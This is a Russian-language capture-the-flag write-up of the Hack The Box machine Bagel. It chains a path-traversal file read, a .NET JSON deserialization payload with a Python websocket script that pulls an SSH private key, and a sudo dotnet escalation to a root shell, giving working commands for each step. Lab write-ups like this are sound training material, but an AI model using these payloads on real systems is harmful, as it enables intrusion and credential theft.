Хакер - HTB Bagel. Захватываем сервер через десериализацию JSON в .NET
hacker_freiRalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Точка входа
- LFI
- Точка опоры
- Продвижение
- Локальное повышение привилегий
В этом райтапе я покажу, как реверсить библиотеку .NET DLL, чтобы найти уязвимость в ней. По пути проэксплуатируем уязвимость LFI в веб‑сайте, а при повышении привилегий задействуем технику GTFOBins для приложения .NET, запущенного в Linux.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts
:
10.10.11.201 bagel.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Нашли три открытых порта:
- 22 — служба OpenSSH 8.8;
- 5000 и 8000 — веб‑сервер Python 3.10.9.
На SSH делать нечего, поэтому сразу переходим к изучению веб‑сервера. Как показал отчет, на порте 8000 мы угадали имя домена — bagel.htb
.
ТОЧКА ВХОДА
Видим, что целевая страница передается в параметре page
. В таком случае первым делом нужно проверить возможность включения произвольного файла путем обхода каталогов. Для теста пробуем прочитать файлы /etc/passwd
или /etc/hosts
.
curl 'http://bagel.htb:8000/?page=../../../../etc/passwd'
Сразу же удалось прочитать файл!
Теперь возьмем на GitHub список важных и интересных файлов в Linux и переберем их с помощью Burp Intruder.
Очень интересный файл — /proc/self/cmdline
, который содержит полную команду командной строки текущего процесса. Этот файл раскрывает нам путь к файлу с кодом скрипта. С помощью LFI скачиваем исходник, открываем в любой среде разработки (я использую VSCode) и переходим к анализу.
wget 'http://bagel.htb:8000/?page=../../../../../../../home/developer/app/app.py' -O app.py
Из кода выясняем, что мы можем подключиться к веб‑сокету на порте 5000 и передать данные в формате JSON, которые потом будут обработаны методом json.loads
. Из комментария узнаем о подключенной DLL.
LFI
Попробуем перебрать командные строки для всех процессов в системе, для чего с помощью Burp Intruder будем менять PID процесса.
Чтобы получить командные строки в удобном виде для всех запросов, зададим параметр Grep — Extract
. Тогда Burp будет извлекать командную строку из ответа сервера и выводить в отдельном столбике.
В результате видим процесс dotnet
, который в качестве параметра получает файл DLL, то есть библиотеку, о которой мы знаем из комментария. Скачиваем найденный DLL для дальнейшего анализа.
wget 'http://bagel.htb:8000/?page=../../../../../../../opt/bagel/bin/Debug/net6.0/bagel.dll' -O bagel.dll
Так как это файл .NET, его можно декомпилировать. Для этого есть отличное средство dnSpy. Открываем его, загружаем скачанный DLL и первым делом обращаем внимание на класс DB. В исходном коде этого класса находим учетные данные для подключения к базе данных.
Авторизоваться на SSH с этим паролем не вышло, поэтому проводим основательный анализ файла. Мы уже знаем, что программа работает на порте 5000 и принимает данные в формате JSON, после чего выполняет десериализацию объекта и сериализацию (функция MessageReceived
).
Из функции DeserializeObject
узнаем, что в параметре принимаемого JSON существует ключ Message
.
А из класса Orders
узнаем о возможности удаления, записи и чтения заявок.
В классе Orders обратим внимание вот на эту функцию:
RemoveOrder {get; set;}
ТОЧКА ОПОРЫ
Мы можем использовать уязвимость десериализации и в качестве параметра предоставить сериализованный объект, что приведет к его выполнению. Так, в программе есть класс File
, который содержит функцию ReadFile
, читающую файл order.txt
в каталоге /opt/bagel/orders/
.
Будем использовать функцию ReadFile
для чтения произвольных файлов с помощью следующей нагрузки.
{
"RemoveOrder": {
"$type": "bagel_server.File, bagel",
"ReadFile": "../../../../../../etc/passwd"
}
}
В атрибуте $type
указываем тип объекта bagel_server.File, bagel
, а в атрибуте ReadFile
— путь к читаемому файлу. Для работы коннекта с веб‑сокетом напишем простой код на Python.
import asyncio
import json
import sys
from websockets import connect
async def hello(uri):
async with connect(uri) as websocket:
order = {"RemoveOrder": {"$type": "bagel_server.File, bagel", "ReadFile": "../../../../../.." + sys.argv[1]}}
data = str(json.dumps(order))
await websocket.send(data)
resp = await websocket.recv()
print(json.loads(resp)["RemoveOrder"]["ReadFile"])
asyncio.run(hello("ws://bagel.htb:5000/"))
Так как приложение может работать от имени другого пользователя (не www-data
), пробуем прочитать приватный SSH-ключ ~/.ssh/id_rsa
и получаем его.
Копируем ключ, назначаем необходимые права командой chmod 0600 id_rsa
и подключаемся к хосту.
ПРОДВИЖЕНИЕ
Вспоминаем, что у нас есть пароль для подключения к базе данных, который мы узнали раньше. Попробуем использовать его для авторизации от имени пользователя developer
локально. Пароль подошел, и мы получили новую сессию.
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Одно из первых мест, которые нужно проверить при повышении привилегий, — это настройки sudoers. Получить их можно командой sudo -l
.
Так мы узнаем, что можем выполнить команду /usr/bin/dotnet
от имени пользователя root
без ввода пароля. В таких случаях первым делом я проверяю базу GTFOBins: нет ли там готовых трюков для нужного приложения? Способ эксплуатации программы dotnet
под sudo
нашелся.
Справка: GTFOBins
GTFOBins — это подборка способов злоупотребления функциями распространенных программ для Unix. Используя эти рецепты, можно быстро получить доступ к командным оболочкам, повысить привилегии или передать файлы.
Значит, мы можем открыть dotnet
в интерактивном режиме и запустить файл командной оболочки, что даст нам шелл в привилегированном контексте.
sudo /usr/bin/dotnet fsi
System.Diagnostics.Process.Start("/bin/sh").WaitForExit();;
У нас есть флаг рута, а значит, машина захвачена!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei